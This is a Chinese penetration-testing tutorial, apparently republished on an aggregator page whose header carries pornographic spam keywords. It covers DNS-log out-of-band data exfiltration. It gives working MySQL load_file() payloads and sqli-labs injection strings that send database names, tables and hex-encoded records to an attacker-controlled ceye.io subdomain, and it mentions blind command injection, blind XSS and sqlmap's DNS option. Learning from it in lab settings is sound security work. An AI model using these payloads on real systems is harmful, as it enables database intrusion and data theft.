日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

渗透测试中dns log的使用

發布時間:2024/1/23 编程问答 50 豆豆
生活随笔 收集整理的這篇文章主要介紹了 渗透测试中dns log的使用 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

一、預備知識

dns(域名解析):

域名解析是把域名指向網站空間IP,讓人們通過注冊的域名可以方便地訪問到網站的一種服務。IP地址是網絡上標識站點的數字地址,為了方便記憶,采用域名來代替IP地址標識站點地址。域名解析就是域名到IP地址的轉換過程。域名的解析工作由DNS服務器完成。

域名解析也叫域名指向、服務器設置、域名配置以及反向IP登記等等。說的簡單點就是將好記的域名解析成IP,服務由DNS服務器完成,是把域名解析到一個IP地址,然后在此IP地址的主機上將一個子目錄與域名綁定。

互聯網中的地址是數字的IP地址,域名解析的作用主要就是為了便于記憶。(摘自百度百科)

dns服務器的端口是53。

二、原理

我們輸入域名之后 我們的本地域名服務器會把在自身服務器里面查詢是否存在ip地址 如果沒有則發送到根域名服務器 如果根域名服務器里面有對應的記錄則返回 如果沒有則告訴本地域名服務器去向頂級域名服務器查找。

dns在解析的時候會留下記錄。

簡單來說:

當dns服務器是我們自己的時,我們就可以通過查看日志來查詢一些信息


?

三、準備

  • dns服務器(vps搭建)
  • dns指向我們自己搭建的dns服務器的域名
  • 或者也可以使用網上的平臺,比如http://ceye.io


    ?

    四、用處

  • sql注入(主要)
  • 命令注入
  • xss盲打

  • ?

    ?五、實驗:sql注入

    dns log在sql注入中的使用主要因為傳統sql注入需要向服務器發送大量數據包,容易被檢測、延時注入花費時間長等原因

    在http://ceye.io這個平臺注冊后它會給你一個三級域名,可以先訪問任意四級域名試試

    在網站上查詢到了訪問的dns記錄

    windows的共享功能同樣也會訪問dns服務器

    關于mysql load_file()函數:

    在MySQL中,LOAD_FILE()函數讀取一個文件并將其內容作為字符串返回。

    ?LOAD_FILE(file_name)?

    其中file_name是文件的完整路徑。

    這個函數也可以用來發送dns解析請求,這就是關鍵

    load_file()使用限制:

    1.文件必須位于服務器主機上。

    2.你必須具有該FILE權限才能讀取該文件。擁有該FILE權限的用戶可以讀取服務器主機上的任何文件,該文件是world-readable的或MySQL服務器可讀的。

    3.文件必須是所有人都可讀的,并且它的大小小于max_allowed_packet字節。

    你可以這樣檢查:?SHOW VARIABLES?LIKE?'max_allowed_packet';?

    如果secure_file_priv系統變量被設置為非空目錄名,則要加載的文件必須位于該目錄中。

    你可以這樣檢查:?SHOW VARIABLES?LIKE?'secure_file_priv';

    ?

    可以在mysql配置文件my.ini中更改secure_file_priv的值,如果沒有這個參數可以手動添加

    使用load_file()讀取文件:?select?load_file("d:\\1.txt");?

    ?

    使用load_file()發送dns請求:?select?load_file("\\\\ccc.xxxx.ceye.io\\aaa");?

    '\'在sql語句中要轉義,aaa可以改成任意字母。

    使用load_file()發送dns請求查詢數據庫:?select?load_file(concat("\\\\",(select?database()),".xxxx.ceye.io\\aaa"));?

    sql語句在雙引號內不執行,所以要用concat()函數拼接。

    ?查詢數據表:

    select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'));

    查詢字段:

    select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='test' limit 0,1),'.xxxx.ceye.io\\aaa'));

    ?

    查詢數據:

    select load_file(concat('\\\\',(select username from test limit 0,1),'.xxxx.ceye.io\\aaa'));

    需要注意的是dns服務器無法接收符號,當查詢的數據中存在符號時需要編碼,這里用hex()編碼(ord()一次只能編碼一個字符)。

    ?

    select load_file(concat('\\\\',(select hex(username) from test limit 2,1),'.xxxx.ceye.io\\aaa'));

    再使用sqli-labs第五關做實驗

    payload:

    ?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?

    ?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='emails' limit 1,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    ?

    ?id=1' and if((select load_file(concat('\\\\',(select hex(email_id) from emails limit 0,1),'.xxxx.ceye.io\\aaa'))),1,1)--+

    由于查詢的數據存在@符號,使用了hex()函數

    解碼得Dumb@dhakkan.com


    ?

    ?六、其他實驗

    1.命令注入

    適用于無回顯的命令注入點

    使用dvwa靶場的命令注入模塊實驗

    假設該注入點無回顯

    查詢到了我們輸入的變量

    windows常用變量:

    • //變量? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 類型? ?? ? 描述
    • //%ALLUSERSPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回“所有用戶”配置文件的位置。
    • //%APPDATA%? ?? ?? ?? ?? ?  ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回默認情況下應用程序存儲數據的位置。
    • //%CD%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當前目錄字符串。
    • //%CMDCMDLINE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回用來啟動當前的 Cmd.exe 的準確命令行。
    • //%CMDEXTVERSION%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回當前的“命令處理程序擴展”的版本號。
    • //%COMPUTERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回計算機的名稱。
    • //%COMSPEC%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回命令行解釋器可執行程序的準確路徑。
    • //%DATE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
    • //%ERRORLEVEL%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
    • //%HOMEDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回連接到用戶主目錄的本地工作站驅動器號。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%HOMEPATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回用戶主目錄的完整路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%HOMESHARE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回用戶的共享主目錄的網絡路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
    • //%LOGONSERVER%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回驗證當前登錄會話的域控制器的名稱。
    • //%NUMBER_OF_PROCESSORS%? ? ? ? ? ?系統? ?? ? 指定安裝在計算機上的處理器的數目。
    • //%OS%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
    • //%PATH%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 指定可執行文件的搜索路徑。
    • //%PATHEXT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回操作系統認為可執行的文件擴展名的列表。
    • //%PROCESSOR_ARCHITECTURE%? ? ? ?系統? ?? ? 返回處理器的芯片體系結構。值:x86 或 IA64(基于 Itanium)。
    • //%PROCESSOR_IDENTFIER%? ? ? ? ? ? ? ? 系統? ?? ? 返回處理器說明。
    • //%PROCESSOR_LEVEL%? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回計算機上安裝的處理器的型號。
    • //%PROCESSOR_REVISION%? ? ? ? ? ? ? ? ? 系統? ?? ? 返回處理器的版本號。
    • //%PROMPT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
    • //%RANDOM%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
    • //%SYSTEMDRIVE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
    • //%SYSTEMROOT%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回 Windows server operating system 根目錄的位置。
    • //%TEMP%和%TMP%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
    • //%TIME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?系統? ?? ? 返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。
    • //%USERDOMAIN%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回包含用戶帳戶的域的名稱。
    • //%USERNAME%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?本地? ?? ? 返回當前登錄的用戶的名稱。
    • //%USERPROFILE%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 本地? ?? ? 返回當前用戶的配置文件的位置。
    • //%WINDIR%? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 系統? ?? ? 返回操作系統目錄的位置。

    2.xss盲打

    使用pikachu的xss盲打模塊

    收到請求說明觸發了插入的js代碼


    ?

    七、sqlmap使用dns

    sqlmap可以使用--dns-domain參數實現自動化dns注入

    總結

    以上是生活随笔為你收集整理的渗透测试中dns log的使用的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。